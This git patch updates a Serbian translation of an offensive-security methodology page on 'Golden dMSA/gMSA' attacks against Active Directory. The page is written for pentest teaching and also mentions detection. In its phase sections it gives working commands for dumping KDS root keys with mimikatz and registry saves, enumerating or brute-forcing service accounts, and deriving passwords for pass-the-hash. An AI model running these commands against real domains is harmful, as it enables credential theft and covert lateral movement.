From c63067c0f563793818dcf233cb0cd3464fb36069 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 21 Jul 2025 22:29:27 +0000 Subject: [PATCH] Translated ['src/windows-hardening/active-directory-methodology/golden-d --- .../golden-dmsa-gmsa.md | 45 +++++++++++-------- 1 file changed, 27 insertions(+), 18 deletions(-) diff --git a/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md b/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md index 5e3e58e99..093ffd30e 100644 --- a/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md +++ b/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md @@ -12,7 +12,7 @@ Postoje dva glavna tipa: Za oba varijante **lozinka nije pohranjena** na svakom Domain Controller-u (DC) kao običan NT-hash. Umesto toga, svaki DC može **izvesti** trenutnu lozinku u hodu iz: -* Šumskog **KDS Root Key** (`KRBTGT\KDS`) – nasumično generisana tajna sa GUID imenom, replicirana na svaki DC pod `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` kontejnerom. +* KDS Root Key-a na nivou šume (`KRBTGT\KDS`) – nasumično generisana tajna sa GUID imenom, replicirana na svaki DC pod `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` kontejnerom. * Ciljanog naloga **SID**. * Per-nalog **ManagedPasswordID** (GUID) koji se nalazi u `msDS-ManagedPasswordId` atributu. @@ -23,19 +23,19 @@ Nema Kerberos saobraćaja ili interakcije sa domenom potrebne tokom normalne upo Ako napadač može da dobije svih tri ulaza **offline**, može izračunati **važeće trenutne i buduće lozinke** za **bilo koji gMSA/dMSA u šumi** bez ponovnog dodirivanja DC-a, zaobilazeći: -* Kerberos pre-autentifikaciju / logove zahteva za karte * LDAP čitanje revizije * Intervale promene lozinke (mogu ih prethodno izračunati) -Ovo je analogno *Golden Ticket* za servisne naloge. +Ovo je analogno *Golden Ticket*-u za servisne naloge. ### Preduslovi -1. **Kompromitovanje na nivou šume** **jednog DC-a** (ili Enterprise Admin). `SYSTEM` pristup je dovoljan. +1. **Kompromitovanje na nivou šume** **jednog DC-a** (ili Enterprise Admin), ili `SYSTEM` pristup jednom od DC-a u šumi. 2. Sposobnost da se enumerišu servisni nalozi (LDAP čitanje / RID brute-force). 3. .NET ≥ 4.7.2 x64 radna stanica za pokretanje [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) ili ekvivalentnog koda. -### Faza 1 – Ekstrakcija KDS Root Key +### Golden gMSA / dMSA +##### Faza 1 – Ekstrakcija KDS Root Key-a Dump sa bilo kog DC-a (Volume Shadow Copy / sirove SAM+SECURITY hives ili daljinski tajne): ```cmd @@ -45,16 +45,25 @@ reg save HKLM\SYSTEM system.hive # With mimikatz on the DC / offline mimikatz # lsadump::secrets mimikatz # lsadump::trust /patch # shows KDS root keys too + +# With GoldendMSA +GoldendMSA.exe kds --domain # query KDS root keys from a DC in the forest +GoldendMSA.exe kds + +# With GoldenGMSA +GoldenGMSA.exe kdsinfo ``` Base64 string označen `RootKey` (GUID ime) je potreban u kasnijim koracima. -### Faza 2 – Enumeracija gMSA/dMSA objekata +##### Faza 2 – Enumerisanje gMSA / dMSA objekata Preuzmite barem `sAMAccountName`, `objectSid` i `msDS-ManagedPasswordId`: ```powershell # Authenticated or anonymous depending on ACLs Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \ Select sAMAccountName,objectSid,msDS-ManagedPasswordId + +GoldenGMSA.exe gmsainfo ``` [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) implementira pomoćne režime: ```powershell @@ -64,31 +73,29 @@ GoldendMSA.exe info -d example.local -m ldap # RID brute force if anonymous binds are blocked GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd ``` -### Faza 3 – Pogađanje / Otkriće ManagedPasswordID (kada nedostaje) +##### Faza 3 – Pogodi / Otkrij ManagedPasswordID (kada nedostaje) Neka implementacija *uklanja* `msDS-ManagedPasswordId` iz ACL-zaštićenih čitanja. Pošto je GUID 128-bitni, naivan bruteforce je neizvodljiv, ali: 1. Prvih **32 bita = Unix epoch vreme** kreiranja naloga (rezolucija u minutima). -2. Praćeno sa 96 nasumičnih bita. +2. Nakon toga sledi 96 nasumičnih bitova. -Stoga je **uska lista reči po nalogu** (± nekoliko sati) realna. +Stoga je **uska rečnik po nalogu** (± nekoliko sati) realističan. ```powershell GoldendMSA.exe wordlist -s -d example.local -f example.local -k ``` Alat izračunava kandidatske lozinke i upoređuje njihov base64 blob sa pravim `msDS-ManagedPassword` atributom – podudaranje otkriva tačan GUID. -### Faza 4 – Offline Izračunavanje Lozenke i Konverzija +##### Faza 4 – Offline Izračunavanje Lozenke i Konverzija -Kada je ManagedPasswordID poznat, važeća lozinka je na samo jednu komandu udaljena: +Kada je ManagedPasswordID poznat, važeća lozinka je na samo jedan komandu udaljena: ```powershell # derive base64 password -GoldendMSA.exe compute -s -k -d example.local -m - -# convert to NTLM / AES keys for pass-the-hash / pass-the-ticket -GoldendMSA.exe convert -d example.local -u svc_web$ -p +GoldendMSA.exe compute -s -k -d example.local -m -i +GoldenGMSA.exe compute --sid --kdskey --pwdid ``` -Rezultantni hash-evi mogu biti injektovani pomoću **mimikatz** (`sekurlsa::pth`) ili **Rubeus** za zloupotrebu Kerberosa, omogućavajući stealth **lateralno kretanje** i **perzistenciju**. +Rezultantni hash-evi mogu biti injektovani pomoću **mimikatz** (`sekurlsa::pth`) ili **Rubeus** za zloupotrebu Kerberosa, omogućavajući neprimetno **lateralno kretanje** i **perzistenciju**. ## Detekcija i ublažavanje @@ -101,13 +108,15 @@ Rezultantni hash-evi mogu biti injektovani pomoću **mimikatz** (`sekurlsa::pth` ## Alati * [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) – referentna implementacija korišćena na ovoj stranici. +* [`Semperis/GoldenGMSA`](https://github.com/Semperis/GoldenGMSA/) – referentna implementacija korišćena na ovoj stranici. * [`mimikatz`](https://github.com/gentilkiwi/mimikatz) – `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`. * [`Rubeus`](https://github.com/GhostPack/Rubeus) – pass-the-ticket koristeći derivirane AES ključeve. ## Reference - [Golden dMSA – zaobilaženje autentifikacije za delegirane upravljane servisne naloge](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/) -- [Semperis/GoldenDMSA GitHub repozitorijum](https://github.com/Semperis/GoldenDMSA) -- [Improsec – Golden gMSA napad poverenja](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) +- [gMSA Active Directory napadi na naloge](https://www.semperis.com/blog/golden-gmsa-attack/) +- [Semperis/GoldenDMSA GitHub repozitorij](https://github.com/Semperis/GoldenDMSA) +- [Improsec – Golden gMSA napad na poverenje](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) {{#include ../../banners/hacktricks-training.md}}